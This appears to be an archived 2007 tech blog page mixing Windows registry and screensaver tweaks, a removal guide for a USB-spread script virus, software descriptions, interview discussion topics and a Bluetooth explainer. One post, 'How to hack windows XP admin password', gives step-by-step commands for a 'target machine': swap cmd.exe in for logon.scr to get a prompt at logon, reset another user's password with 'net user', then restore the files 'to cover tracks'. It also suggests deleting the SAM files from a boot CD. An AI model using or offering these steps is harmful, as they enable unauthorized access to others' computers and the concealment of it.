Follow these simple steps to customize your Logon screensaver:
1. Start the Registry Editor. Click the Start button, type regedit in the box, and press
Enter.
2. When the Registry Editor starts up, navigate through HKEY_USERS\.DEFAULT\
Control Panel\Desktop.
3. Let’s change the amount of time the system waits after the last activity was detected
before starting the screensaver. To do this, right-click the ScreenSaveTimeOut entry
and select Modify. The amount of time to wait is stored in seconds. By default, the
system waits 600 seconds (10 minutes) before starting the screensaver. If you want to
change this value to something shorter, such as 1 minute, just enter a new value, which
for 1 minute would be 60. Then click OK to save your changes.
4. By default, the boring flat Windows Vista logo screensaver displays.Try something a
little more exciting such as the Mystify screensaver.To do this, right-click and select
Modify on the SCRNSAVE.EXE string value. Set the value to the full path of the
screensaver you want to use. For example, I use C:\windows\system32\Mystify.scr for
the Mystify screensaver. Refer the below list for Windows screensavers and the
paths you can use.When you have finished making your change, click OK to save.
5. Close the Registry Editor. You are now finished. After a reboot, you will see your new
screensaver.
Screensaver Name Full path
Aurora C:\Windows\System32\Aurora.scr
Bubbles C:\Windows\System32\Bubbles.scr
Logon (Windows default) C:\Windows\System32\logon.scr
Mystify C:\Windows\System32\Mystify.scr
Photos C:\Windows\System32\PhotoScreensaver.scr
Ribbons C:\Windows\System32\Ribbons.scr
Blank Screen C:\Windows\System32\scrnsave.scr
Vista C:\Windows\System32\ssBranded.scr
3D Text C:\Windows\System32\ssText3d.scr
Displaying a security message
Would you like to display a message to your users before they can log on? Are any instructions
necessary for users of your computers, such as “Do not shut down this computer!” or possibly a
security warning informing unauthorized users that they are breaking the law if they try to log
on to your laptop? All these are possible with the help of Group Policy.With just a few clicks,
you can easily display a message to your visitors
Using the Local Security Policy editor, you can turn this feature on. Follow these steps to activate
it on your PC:
1. Click the Start button, type secpol.msc, and press Enter.
2. When the Local Security Policy editor loads, navigate through Local Policies and then
Security Options.
3. Locate the Interactive logon: Message title for users attempting to log on policy. Rightclick
it and select Properties.
4. On the Local Security Settings tab, type a title that you would like to use for your message
and click OK.
5. Locate the Interactive logon: Message text for users attempting to log on policy. Rightclick
it and select Properties.
6. On the Local Security Settings tab, type your message and click OK.
7. Close the Local Security Policy editor; you are finished.
As soon as you log off or reboot, the security message settings will be activated.
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Labels: Customizing the Boot Screen, Logon Screen, security message
Thursday, August 2, 2007

Registry Hack Part 2
Add Open With to all filesYou can add "Open With..." to the Right click context menu of all files.This is great for when you have several programs you want to open the same file types with. I use three different text editors so I added it to the ".txt" key.1. Open RegEdit2. Go to HKEY_CLASSES_ROOT\*\Shell3. Add a new Key named "OpenWith" by right clicking the "Shell" Key and selecting new4. Set the (Default) to "Op&en With..."5. Add a new Key named "Command" by right clicking the "OpenWith" Key and selecting new6. Set the (Default) to "C:\Windows\rundll32.exe shell32.dll,OpenAs_RunDLL %1", C:\ being your Windows drive. You must enter the "OpenAs_RunDLL %1" exactly this way.Customize the System TrayYou can add your name or anything you like that consists of 8 characters or less. This will replace the AM or PM next to the system time. But you can corrupt some trial licenses of software that you may have downloaded.1. Open RegEdit2. Go to HKEY_CURRENT_USER\Control Panel\International3. Add two new String values, "s1159" and "s2359"4. Right click the new value name and modify. Enter anything you like up to 8 characters.If you enter two different values when modifying, you can have the system tray display the two different values in the AM and PM.Lock Out Unwanted UsersWant to keep people from accessing Windows, even as the default user? If you do not have a domain do not attempt this.1. Open RegEdit2. Go to HKEY_LOCAL_MACHINE\Network\Logon3. Create a dword value "MustBeValidated"4. Set the value to 1This forced logon can be bypassed in Safe Mode on Windows 9xDisable the Outlook Express Splash ScreenYou can make OutLook Express load quicker by disabling the splash screen:1. Open RegEdit2. Go to HKEY_CURRENT_USER\Software\Microsoft\OutLook Express3. Add a string value "NoSplash"4. Set the value data to 1 as a Dword valueMultiple Columns For the Start MenuTo make Windows use multiple Start Menu Columns instead of a single scrolling column, like Windows 9x had, Also if you are using Classic Mode in XP1. Open RegEdit2. Go to the keyHKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced3. Create a string value "StartMenuScrollPrograms"4. Right click the new string value and select modify5. Set the value to "FALSE"Change the Registered Change the User InformationYou can change the Registered Owner or Registered Organization to anything you want even after Windows is installed.1) Open RegEdit2) Got toHKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion.3) Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you wantChanging Windows' IconsYou can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.1. Open RegEdit2. Go toHKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons3. Add a string value for each Icon you wish to change.Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.0= Unknown file type1= MSN file types2= Applications Generic3= Closed Folder4= Open Folder5= 5.25" Drive6= 3.25" Drive7= Removable Drive8= Hard Drive9= NetWork Drive10= Network Drive Offline11= CD-ROM Drive12= RAM Drive13= Entire Network 14= Network Hub15= My Computer16= Printer17= Network Neighborhood18= Network Workgroup19= Start Menu's Program Folders20= Start Menu's Documents21= Start Menu's Setting22= Start Menu's Find23= Start Menu's Help24= Start Menu's Run25= Start Menu's Suspend26= Start Menu's PC Undock27= Start Menu's Shutdown 28= Shared29= Shortcut Arrow30= (Unknown Overlay)31= Recycle Bin Empty32= Recycle Bin Full33= Dial-up Network34= DeskTop35= Control Panel36= Start Menu's Programs37= Printer Folder38= Fonts Folder39= Taskbar Icon40= Audio CDYou need to reboot after making changes. You may need to delete the hidden file ShellIconCache if after rebooting the desired Icons are not displayed.Change Default Folder LocationsYou can change or delete the Windows mandatory locations of folder like My Documents:1. Open RegEdit2. Go to HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Folders3. Change the desired folder location, My Documents is normally list as "Personal"4. Open the Explorer and rename or create the folder you wish.To change the desired location of the Program Files folder1. Go toHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion2. Change the value of "ProgramFiles", or "ProgramFilesDir"Now when you install a new program it will default to the new location you have selectedOpening a DOS Window to either the Drive or Directory in ExplorerAdd the following Registry Keys for a Directory:HKEY_CLASSES_ROOT\Directory\shell\opennew@="Dos Prompt in that Directory"HKEY_CLASSES_ROOT\Directory\shell\opennew\command@="command.com /k cd %1"Add or Edit the following Registry Keys for a Drive:HKEY_CLASSES_ROOT\Drive\shell\opennew@="Dos Prompt in that Drive"HKEY_CLASSES_ROOT\Drive\shell\opennew\command@="command.com /k cd %1"These will allow you to right click on either the drive or the directory and the option of starting the dos prompt will pop up.Changing Exchange/Outlook Mailbox LocationTo change the location of your mailbox for Exchange:1. Open RegEdit2. Go toHKEY_CURRENT_USER\Software\ Microsoft\Windows Messaging Subsystem\ Profiles3. Go to the profile you want to change4. Go to the value name that has the file location for your mailbox (*.PST) file5. Make the change to file location or nameTo change the location of your mailbox for Outlook1. Open RegEdit2. Go to HKEY_CURRENT_USER\Software\Microsoft\Outlook (or Outlook Express if Outlook Express)3. Go to the section "Store Root"4. Make the change to file locationAdd/Remove Sound Events from Control PanelYou can Add and delete sounds events in the Control Panel. In order to do that:1. Open RegEdit2. Go to HKEY_CURRENT_USER\AppEvents\Schemes\Apps and HKEY_CURRENT_USER\AppEvents\Schemes\Eventlabels. If this key does not exist you can create it and add events.3. You can add/delete any items you want to or delete the ones you no longer want.
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Monday, July 30, 2007

Remove windows script host c:\ms32dll.dll.vbs
Hacked By Godzilla - The CureHacked by Godzilla, and it’s variants have been circulating around southeast Asia, mostly by infected thumbdrives for a few months now. It’s actually an amateurish script written by a twat, but that’s not what’s important here, what’s important is getting the fix.Before you do anything else, make a backup of the windows registry! To do this, Go to Start/Run.Type in regedit. Click OK. This will open the registry editor. With the Registry Editor Open click once on My Computer to highlight it.Then click File, then select Export. Save the export as Registry Backup. If you do not make a backup and make a mistake in changing the registry which must be done to get rid of the virus, you may have to reformat and reinstall Windows to get back to normal operation. Since you cannot create a system restore point, making this backup of the registry is critical.The FixDouble click the My Computer icon on the desktop. Then select Tools/Folder/OptionsClick the View Tab and in the list of options:-Click the radio button for Show Hidden files and folders-Uncheck the boxes for-Hide Extensions for known file typesandHide Protected Operating System Files(After removing the virus, you should reverse these actions - instructions for doing this are at the end of the Fix)Click OK at the bottom of the Folder Options Window. Do not close Windows Explorer yet!Press Control-Alt-Del to bring up the Task ManagerClick the Processes TabUnder the column Image Name locate the item wscript.exe. Click on it to highlight it, then right click and select End Process.Go back to Windows Explorer - do not double click anything. Locate the files autorun.inf and MS32DLL.dll.vbs They should be located at c:\autorun.inf and c:\MS32DLL.dll.vbs (or on the drive that contains the operating system, if not C drive). Left click ONCE on each to highlight it. Then Press Shift+Del. Do this for the root of each drive,e.g.,(c:\ is the root…folders appearing after the root are not!)d:\autorun.inf and d:\MS32DLL.dll.vbse:\autorun.inf and e:\MS32DLL.dll.vbsf:\autorun.inf and f:\MS32DLL.dll.vbs, etc.(note that if you have a CD/DVD burner program, like Roxio and possibly Nero, autoruns.inf is a legitimate file.Delete those files from any USB drive, floppy disk, DVD drive and/or Writeable CDs (CD-RW) that you have.Open the folder c:\Windows and delete the file MS32DLL.dll.vbs by using Shift+Del. You MUST hit shift+delete to completely delete it!IF YOU DIDN’T BACK UP THE REGISTRY YET, DO IT NOW!!Go to Start/Run.Type in regedit. Click OK. This will open the registry editorIn the Registry Editor, navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Current Version\Run. In the right frame, locate MS32DLL. Click it once to highlight it and right click and delete it. If you do not find it, proceed to the next stepWhile still in the Registry Editor, navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main. In the right frame locate the name Windows Title Hacked by Godzilla Right click the item Windows Title and delete it.Click Start/Run. Type gpedit.msc then click OKIn the left frame double click User Configuration, then Administrative Templates then System. In the right frame locate Turn off Autoplay. Double left click it andClick the radio button for Enabled and select All drives . Then click OK. By disabling autoruns, you will be able to run virus and spyware scans on a CD/DVD, Floppy or USB flash drive (or mp3 player) BEFORE a virus or spyware can execute. Now you can close the Group Policy Editor.Click Start/Run. Type in msconfig, then click OK. When the Configuration editor opens click the Startup tab.Locate the item ms32dll (in the startup item column) and uncheck the box.Click OK at the bottom to close the Config Editor, and, when asked select Exit Without Restart.Double click the My Computer icon on the desktop. Then select Tools/Folder Options1) Click the View Tab and in the list of options:2) Click the radio button for “Do Not Show Hidden files and folders”3) Check the boxes for“Hide Extensions for known file types”and“Hide Protected Operating System Files4) Click OK at the bottom of the Folder Options Window.15. Locate the Recycle bin in Windows Explorer an click right on it and select Empty Recycle bin16. Reboot your computer. The virus should be gone.17. Right click the My Computer icon on your desktop and select properties. Then click the System Restore tabSelect Turn off System Restore on all drives. Then Click Apply and OK18. Reboot your computer.19. Right click the My Computer icon on your desktop and select properties. Then click the System Restore tab.Un-check the box for “Turn off System Restore on all drives. Then Click Apply and OKWhen you are sure that you no longer have the virus, create a system restore point.
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Monday, May 14, 2007

Hacking Xp And Registry Hack Part 1
How to hack windows XP admin passwordIf you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dosNow what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes"net user password"If the Administrator Account is called Frank and you want the password blah enter this"net user Frank blah"and this changes the password on franks machine to blah and your in.Have funp.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracksRegistry HackingDisplay legal notice on startup:Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.REGEDIT[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]"legalnoticecaption"="enter your notice caption""legalnoticetext"="enter your legal notice text"Automatic Administrator Login:Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.REGEDIT 4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]"AutoAdminLogon"="1"No Shutdown:Wanna play with your friends by removing the shutdown option from start menu in their computer.Just hack it down !!!RegeditHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer"NoClose"="DWORD:1"Menu Delays:Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.GPEDIT.MSC And AutoplayA great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.Increasing options in add/remove programs:Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:[Components]NtComponents=ntoc.dll,NtOcSetupProc,,4WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7Display=desk.cpl,DisplayOcSetupProc,,7Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7iis=iis.dll,OcEntry,iis.inf,,7com=comsetup.dll,OcEntry,comnt5.inf,hide,7dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6ims=imsinsnt.dll,OcEntry,ims.inf,,7fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7To this:msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".Automatically Kill Programs At Shutdown:don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.Speeding Up Share Viewing:This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!Create a Shortcut to Lock Your Computer Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.Speed up Internet Explorer 6 FavoritesFor some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.AspiWinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.Another way ...Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.
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THE ULTIMATE TROOUBLESHOOTERS

2007-08-14T11:47:00.000-07:00

This is the most complete and most effective PC Tuning program ever written. It is the Ultimate PC System Optimizer : a Task, Services, and Startups Manager which, thanks to included recommendations on about every Windows background task, empowers any user to streamline and configure their PC for speed and, above all, long term stability. As its name implies, this is also an absolutely essential tool for troubleshooting nagging and frustrating problems, as all the information you need in order to make an informed decision, is right there in a clear and instantly understandable presentation using down-to-earth language that all users will understand whatever their level of technical competence. And to complement the troubleshooting features of the program, The Ultimate Troubleshooter (TUT) also boasts a 'Regular Housekeeping' module to help you keep your PC mean and clean. As for network specialists, TUT also includes PING, Trace Route, Name Server Lookup, and WHOIS utilities to troubleshoot network problems. This is an a
The Ultimate Troubleshooter 3.62

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Internet Download Manager 5.08

2007-08-14T11:42:00.000-07:00

Internet Download Manager 5.08

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Accelerate downloads by up to 5 times, schedule downloads, recover and resume broken downloads. The program features an adaptive download accelerator, dynamic file segmentation, high speed settings technology, and multipart downloading technology to accelerate the download process. It reuses available connections without additional connect and login stages to improve download performance. Comprehensive error recovery and resume capability will restart broken or interrupted downloads due to lost connections, network problems, computer shutdowns, or unexpected power outages. Internet Download Manager can connect to the Internet at a set time, download the files you want, then disconnect or even shut down your computer when its done. Internet Download Manager supports firewalls, proxy and mirror servers, FTP, HTTP and HTTPS protocols, redirects, cookies, download queues, directories with authorization, MP3 audio and MPEG video content processing, and a large number of different server platforms. The program integrates seamlessly into all browsers automatically to handle your downloads. It can be also integrated into any other Internet applications that use FTP, or HTTP protocols.New version adds support for MMS protocol and the site grabber feature. It lets you download required files that are specified with filters, for example all pictures from a web site, or subsets of web sites, or complete web sites for offline browsing. It's possible to schedule multiple grabber projects to run them once at a specified time, stop them at a specified time, or run periodically to synchronize changes.The new version also adds the complete compatibility with Windows Vista, the unique integration into all latest browsers, enhanced virus protection. Completely redeveloped IDM scheduler. Added periodic synchronization of files and the possibility to create new queues for downloading or synchronization. Added new features on starting and stopping queue processing.

KRISTAL Audio Engine

2007-08-14T11:34:00.000-07:00

KRISTAL Audio Engine is a powerful multi-track recorder, audio sequencer and mixer - ideal for anyone wanting to get started with recording, mixing and mastering digital audio. It is designed as a modular system. The main application provides a mixing console, while the audio sequencer, live audio input and so on are loaded as separate PlugIns. KRISTAL Audio Engine is FREEWARE for personal, educational and non-commercial use.

Digital Media Converter 2.67

2007-08-14T11:28:00.000-07:00

Digital Media Converter 2.67

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Quick Facts

Web site:
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Author:
DeskShare
License type:
Shareware ($39.95)30 Days
Categories:
Misc. Multimedia Programs
Downloads:
72309
Average User Rating:
6.25%
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File Size:
8.42 MB
Release Date:
Jun 12, 2006
Supported languages:
English
Operating Systems:
Windows 95/98/ME/NT/2000/XP
System requirements:
No special requirements
Description by publisher
Digital Media Converter makes it easy for you to convert your video and audio files from one format to another. Now you can organize and batch convert all your video and audio files between: VCD, DVD, AVI (DivX, MS MPEG4, uncompressed, etc), MPEG-1, MPEG-2 (PAL, NTSC), MP3, MOV, WMA, WMV, and WAV formats Making VCD and DVD format files is simple with Digital Media Converter. You can do even more, such as extracting the audio from the video and saving just the audio tracks. You can use the advanced settings to change the video frame size, audio / video compression codec, frequency, and the number of channels of in a audio stream. The program's mass conversion capability lets you multi-select files and add entire folders for conversion. It gives you complete control over the files that you want to convert. Digital Media Converter uses the Microsoft DirectShow technology and can therefore convert faster than other conventional products. You do not need to be a professional to use this tool. The software provides default settings and auto-select features that gives you high quality and low size conversions.

REGISTRY MECHANIC6.0

2007-08-14T11:22:00.000-07:00

Registry Mechanic 6.0 With Registry Mechanic you can safely clean, repair and optimize the Windows registry with a few simple mouse clicks! Problems with the Windows registry are a common cause of Windows crashes, slow performance and error messages.

SpeedUpMyPC 3 SpeedUpMyPC - the award winning utility software that ensures your PC is automatically optimized for maximum performance in just a few easy clicks.

Strong's Old Testament Bible Dictionary for Smartphones 5.5

2007-08-14T07:43:00.000-07:00

Strong's Old Testament Bible Dictionary for Smartphones 5.5

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Requirements: Windows Mobile 2003/2003 SE/2003 Phone Edition
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Date Added:May 3, 2007
Publisher's description of Strong's Old Testament Bible Dictionary for Smartphones
From Beiks: The Strong's Old Testament Bible Dictionary for Windows Mobile smartphones is actually an index. Each word from the original Greek script was given a unique number by Dr. James Strong over 100 years ago. It is still in use by many followers today and the numbers are called Strong's numbers. This version of the dictionary has two lexicons allowing you to search by word, providing the corresponding Strong's number, the pronunciation of the word and its description in English, or using the reverse lexicon to search by index. For Bible studies, this is the most common way to look up original language definitions. Based on the mobile industry standard Beiks Dictionary Reader, this product is specially optimized for one-hand operation, minimal memory requirements and optimal access speed. It can be installed on either main memory or on an extension media card and once installed does not require or utilize network connection

AD-AWARE 2007 7.0.1.3

2007-08-14T07:25:00.000-07:00

With the ability to scan your RAM, Registry, hard drives, and external storage devices for known data-mining, advertising, and tracking components, Ad-Aware 2007 easily can clean your system, allowing you to maintain a higher degree of privacy while you surf the Web.

Ad-Aware 2007 includes a redesigned engine, improved code sequence identification, incremental definition updates, one-click Web-history cleanup, multiple browser support, and other new features. Version 7.0.1.3 may include unspecified updates, enhancements, or bug fixes
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PROBABLE GD TOPICS FOR CAMPUS INTERVIEW

2007-08-11T12:30:00.000-07:00

1. US war on Iraq-justified or not.

2. Role of UN in peacekeeping.

3. Position of Women in India compared to other nations.

4. Environment Management.

5. Is China better than India in software.

6.Should SONIA gandhi be made the PM

7. BPOs in INDIA

8. Govt contribution to IT

9. Will punch lines rule the Advt

10. Prematial sex

11. Is China a threat to Indian industry

12. India or West , which is the land of opportunities

13. Water resources should be nationalised

14. Balance between Professionalism & Family

15. Effect of cinema on Youth

16. Education in India compared to Foreign nations

17. Is it necessary to ban COCA COLA in India.

18. What is the effect of movies on youth.(is it good or bad)

19. Are studies more benifitial in India or in Abroad.

20.UN's peace activities and America's war on Iraq.

21.Environment-Whose Responisibility.

22.Is China a threat to the indian software industry.

23.Role of UN in Peace keeping

24.War on Iraq

25.About Hockey being the primary game in India.

26.Can America occupy North korea

27.Cricket should be banned or not.

28.Is China a threat to India

29.Present state of Indian Cricket team.

30.Love marriage/Arranged marriage.

31.Advantages of Co-education.

Frequently Used GD Topics

1.How to deal with international terrorism.

2.Should we pursue our policy of dialogue with Pakistan?

3.Is peace and non-violence outdated concepts?

4.Are Mobile Phones Boon or Bane?

5.Love Marriage vs Arranged Marriage

ELECTRONICS FOR U

2007-08-11T00:11:00.001-07:00

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2007-08-10T23:51:00.000-07:00

HOW BLUETOOTH OPERATES

2007-08-10T10:37:00.000-07:00

How Bluetooth OperatesBluetooth networking transmits data via low-power radio waves. It communicates on a frequency of 2.45 gigahertz (actually between 2.402 GHz and 2.480 GHz, to be exact). This frequency band has been set aside by international agreement for the use of industrial, scientific and medical devices (ISM).

A number of devices that you may already use take advantage of this same radio-frequency band. Baby monitors, garage-door openers and the newest generation of cordless phones all make use of frequencies in the ISM band. Making sure that Bluetooth and these other devices don't interfere with one another has been a crucial part of the design process.
One of the ways Bluetooth devices avoid interfering with other systems is by sending out very weak signals of about 1 milliwatt. By comparison, the most powerful cell phones can transmit a signal of 3 watts. The low power limits the range of a Bluetooth device to about 10 meters (32 feet), cutting the chances of interference between your computer system and your portable telephone or television. Even with the low power, Bluetooth doesn't require line of sight between communicating devices. The walls in your house won't stop a Bluetooth signal, making the standard useful for controlling several devices in different rooms.
Bluetooth can connect up to eight devices simultaneously. With all of those devices in the same 10-meter (32-foot) radius, you might think they'd interfere with one another, but it's unlikely. Bluetooth uses a technique called spread-spectrum frequency hopping that makes it rare for more than one device to be transmitting on the same frequency at the same time. In this technique, a device will use 79 individual, randomly chosen frequencies within a designated range, changing from one to another on a regular basis. In the case of Bluetooth, the transmitters change frequencies 1,600 times every second, meaning that more devices can make full use of a limited slice of the radio spectrum. Since every Bluetooth transmitter uses spread-spectrum transmitting automatically, it’s unlikely that two transmitters will be on the same frequency at the same time. This same technique minimizes the risk that portable phones or baby monitors will disrupt Bluetooth devices, since any interference on a particular frequency will last only a tiny fraction of a second.

When Bluetooth-capable devices come within range of one another, an electronic conversation takes place to determine whether they have data to share or whether one needs to control the other. The user doesn't have to press a button or give a command -- the electronic conversation happens automatically. Once the conversation has occurred, the devices -- whether they're part of a computer system or a stereo -- form a network. Bluetooth systems create a personal-area network (PAN), or piconet, that may fill a room or may encompass no more distance than that between the cell phone on a belt-clip and the headset on your head. Once a piconet is established, the members randomly hop frequencies in unison so they stay in touch with one another and avoid other piconets that may be operating in the same room. Let's check out an example of a Bluetooth-connected system.

FUNDAMENTALS OF ELECTRONICS

2007-08-10T06:57:00.000-07:00

File : zip, 21.8 MB Author : Tony R, KuphaldtDC
Basic Concepts of Electricity
Ohm’s Law
Electrical Safety
Scientific Notation and Metric Prefixes
Series and Parallel Circuits
Divider Circuits and Kirchhoff’S Laws
Series-Parallel Combination Circuits
DC Metering Circuits
Electrical Instrumentation Signal
DC Network Analysis
Batteries and Power Systems
Physics of Conductors and Insulators
Capacitors
Magnetism and Electromagnetism
Inductors
RC and L/R Time Constant
AC
Basic AC Theory
Complex Numbers
Reactance and Impedance — Inductive
Reactance and Impedance — Capacitive
Reactance and Impedance — R, L, and C
Resonance
Mixed-Frequency AC Signals
Filters
Transformers
Polyphase AC Circuits
Power Factor
AC Metering Circuits
AC Motors
Transmission Lines
Semiconductors
Amplifiers and Active Devices
Solid-State Device Theory
Diodes and Rectifiers
Bipolar Junction Transistors
Junction Field-Effect Transistors
Insulated-Gate Field-Effect Transistors
Thyristors
Operational Amplifiers
Practical Analog Semiconductor Circuits
Electron Tubes
Digital
Numeration Systems
Binary Arithmetic
Logic Gates
Switches
Electromechanical Relays
Ladder Logic
Boolean Algebra
Karnaugh Mapping
Multivibrators
Counters
Shift Registers
Digital-Analog Conversion
Digital Communication
Digital Storage (Memory)
Principles of Digital Computing
Experiments
Introduction
Basic Concepts and Test Equipment
DC Circuits
AC Circuits
Discrete Semiconductor Circuits
Analog Integrated Circuits
Digital Integrated Circuits
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DUPLICATE FILE REMOVER

2007-08-10T06:24:00.000-07:00

Duplicate File Remover is a powerful tool to locate file duplicates on your computer (dedupe). It scans the computer and lists duplicate files based on Byte for Byte Comparison, which ensures 100% accuracy. It can find duplicates of any files: text, binary, music, video or images. For multimedia files (MP3, OGG/Vorbis, WMA), the contents of the following tags can also be analyzed: "Artist", "Album", "Title" and "Comment". The file Summary property can also be searched: title, subject, category, and author. Duplicate files can be deleted, hard-linked, moved, or copied. The list of duplicate files can be sorted, exported to an HTML report, and acted upon

You may not realize how many duplicate files you have on your computer, after numerous downloads from the Internet, or scattered over your home or corporate network. Duplicate files are in most cases redundant and unnecessary, so keeping them is merely a waste of hard disk space. Your hard drives may be full of extra copies of documents, MP3s, photos and videos waiting to be removed. Duplicate File Remover will help you reclaim valuable disk space and improve data efficiency.

Note: Using Duplicate File Remover is safe and risk-free. The software can log everything in a text report, and no actions will be performed on your precious data without your knowledge.